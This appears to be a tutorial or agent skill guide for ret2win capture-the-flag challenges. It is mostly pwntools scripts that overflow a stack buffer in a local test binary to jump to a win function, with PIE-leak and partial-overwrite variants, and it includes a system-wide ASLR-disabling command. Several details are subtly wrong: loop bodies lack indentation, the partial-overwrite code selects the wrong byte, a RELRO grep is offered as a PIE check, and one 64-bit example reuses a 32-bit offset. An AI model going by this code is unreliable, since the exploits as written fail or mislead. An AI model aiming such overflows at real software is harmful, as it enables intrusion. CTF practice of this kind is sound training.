Ret2Win Exploitation Guide
Ret2win challenges involve exploiting a buffer overflow vulnerability to overwrite the return address on the stack, redirecting execution to a hidden win function that prints the flag.
Quick Start
- Analyze the binary - Check protections and find the win function address
- Determine overflow offset - Find how many bytes to the return address
- Craft the payload - Padding + win function address
- Execute and iterate - Run the exploit, adjust if needed
Step 1: Binary Analysis
Check Protections
# Check if PIE is enabled (bad for ret2win - addresses will randomize)
checksec --file vulnerable
# or
readelf -l vulnerable | grep GNU_RELRO
# Key protections to check:
# - PIE: If enabled, you need a leak or partial overwrite
# - Stack Canary: If enabled, you need to bypass it first
# - NX: Usually OK for ret2win (we're not injecting shellcode)
Find the Win Function Address
# Method 1: Using objdump (static analysis)
objdump -d vulnerable | grep -A 20 '<win>'
# Method 2: Using gdb (dynamic analysis)
gdb ./vulnerable
(gdb) break win
(gdb) info address win
(gdb) x/i $pc
# Method 3: Using pwn (recommended)
from pwn import *
context.binary = './vulnerable'
b = ELF('./vulnerable')
print(hex(b.symbols['win']))
Note: If PIE is enabled, the address will be relative. You'll need a leak to get the base address, or use partial overwrite (see below).
Step 2: Find the Overflow Offset
Method 1: Pattern Create (pwntools)
from pwn import *
# Generate a unique pattern
pattern = cyclic(100)
# Run the binary and send the pattern
p = process('./vulnerable')
p.sendline(pattern)
# When it crashes, note the EIP/RIP value from the crash
# Then find the offset:
offset = cyclic_find(crashed_eip_value)
print(f"Offset to return address: {offset}")
Method 2: Manual Testing
from pwn import *
p = process('./vulnerable')
# Try different lengths until you control EIP
for length in range(60, 100, 4):
p = process('./vulnerable')
p.sendline(b'A' * length)
try:
p.wait()
if p.poll() is None:
continue
except:
pass
# Check if we crashed with controlled EIP
# (you'll need to inspect the crash in gdb)
Method 3: GDB with Pattern
# In gdb:
(gdb) break *main+50 # or wherever the vulnerable function is
(gdb) run
(gdb) # Send pattern via terminal
(gdb) # When it crashes:
(gdb) info registers eip
(gdb) # Note the value and calculate offset
Step 3: Craft the Exploit
Basic 32-bit Exploit (No ASLR, No PIE)
from pwn import *
# Setup
context.binary = './vulnerable'
b = ELF('./vulnerable')
# Find addresses
win_addr = b.symbols['win']
# Determine offset (from Step 2)
offset = 68 # Example: 64 byte buffer + 4 byte saved EBP
# Craft payload
payload = b'A' * offset + p32(win_addr)
# Execute
p = process('./vulnerable')
p.sendline(payload)
p.interactive()
64-bit Exploit
from pwn import *
context.binary = './vulnerable'
b = ELF('./vulnerable')
win_addr = b.symbols['win']
offset = 72 # 64-bit: 64 byte buffer + 8 byte saved RBP
payload = b'A' * offset + p64(win_addr)
p = process('./vulnerable')
p.sendline(payload)
p.interactive()
With PIE (Need Leak)
from pwn import *
context.binary = './vulnerable'
b = ELF('./vulnerable')
# First, leak a known address
p = process('./vulnerable')
# Send initial input to trigger leak (depends on challenge)
# Example: if there's a format string or read vulnerability
p.sendline(b'%p') # or whatever triggers the leak
leaked_addr = u64(p.recvline().strip()[:6].ljust(8, b'\x00'))
# Calculate base
base = leaked_addr - b.symbols['known_function']
win_addr = base + b.symbols['win']
# Now craft the ret2win payload
offset = 68
payload = b'A' * offset + p64(win_addr)
p.sendline(payload)
p.interactive()
Partial Overwrite (When ASLR is on but last nibble is stable)
from pwn import *
# If you can only overwrite 1-2 bytes of the return address
# and the last nibble of win's address is stable
context.binary = './vulnerable'
b = ELF('./vulnerable')
# Get the win address
win_addr = b.symbols['win']
# Extract the last 1-2 bytes that are stable
# For example, if win is at 0x401150 and last nibble is stable:
partial = p32(win_addr)[-1:] # Last byte
# Craft payload with partial overwrite
offset = 68 # To reach return address
payload = b'A' * offset + partial
# You might need to try multiple times (1/16 chance per nibble)
for _ in range(100):
p = process('./vulnerable')
p.sendline(payload)
if b'flag' in p.recvall():
print("Got the flag!")
break
Common Scenarios
Scenario 1: Simple 32-bit, No Protections
from pwn import *
b = ELF('./vulnerable')
offset = 68
win = b.symbols['win']
payload = b'A' * offset + p32(win)
p = process('./vulnerable')
p.sendline(payload)
p.interactive()
Scenario 2: 64-bit with ASLR, Need Leak
from pwn import *
b = ELF('./vulnerable')
# Phase 1: Leak
p = process('./vulnerable')
# ... leak code ...
base = leaked - b.symbols['leaked_func']
win = base + b.symbols['win']
# Phase 2: Exploit
offset = 72
payload = b'A' * offset + p64(win)
p.sendline(payload)
p.interactive()
Scenario 3: Partial Overwrite (1 byte)
from pwn import *
b = ELF('./vulnerable')
win = b.symbols['win']
# Last byte of win address
partial = p32(win)[-1:]
offset = 68
payload = b'A' * offset + partial
# Retry loop for ASLR
for i in range(20):
p = process('./vulnerable')
p.sendline(payload)
try:
output = p.recvall()
if b'flag' in output or b'Congratulations' in output:
print(f"Success on attempt {i+1}!")
print(output)
break
except:
pass
Debugging Tips
Using GDB with Pwntools
from pwn import *
context.binary = './vulnerable'
# Start with gdb
p = gdb.debug('./vulnerable', '''
break *main+50
continue
''')
# Or attach to running process
p = process('./vulnerable')
gdb.attach(p)
Common Issues
| Issue | Solution |
|---|---|
| Segfault immediately | Offset is wrong, recalculate with cyclic |
| Wrong address | Check if PIE is on, use leak or partial overwrite |
| Canary error | Need to leak/bypass canary first |
| NX error | You're trying to execute stack, use ret2win not shellcode |
| Address changes each run | ASLR is on, disable with setarch or use leak |
Disable ASLR for Testing
# Temporarily disable ASLR
sudo sysctl -w kernel.randomize_va_space=0
# Or run with setarch
setarch $(uname -m) -R ./vulnerable
Using the Helper Scripts
The skill includes helper scripts to speed up exploitation:
# Generate a ret2win exploit template
python scripts/ret2win-exploit.py --binary ./vulnerable --offset 68 --arch 32
# Find function addresses
python scripts/find-win-addr.py ./vulnerable
# Test different offsets
python scripts/test-offset.py ./vulnerable --range 60-100
References
Key Takeaways
- Always check protections first - PIE and canaries change the approach
- Find the exact offset - Use cyclic patterns, don't guess
- Get the win address - Static (objdump) or dynamic (gdb/pwn)
- Handle ASLR - Leak, partial overwrite, or disable for testing
- Test iteratively - Start simple, add complexity as needed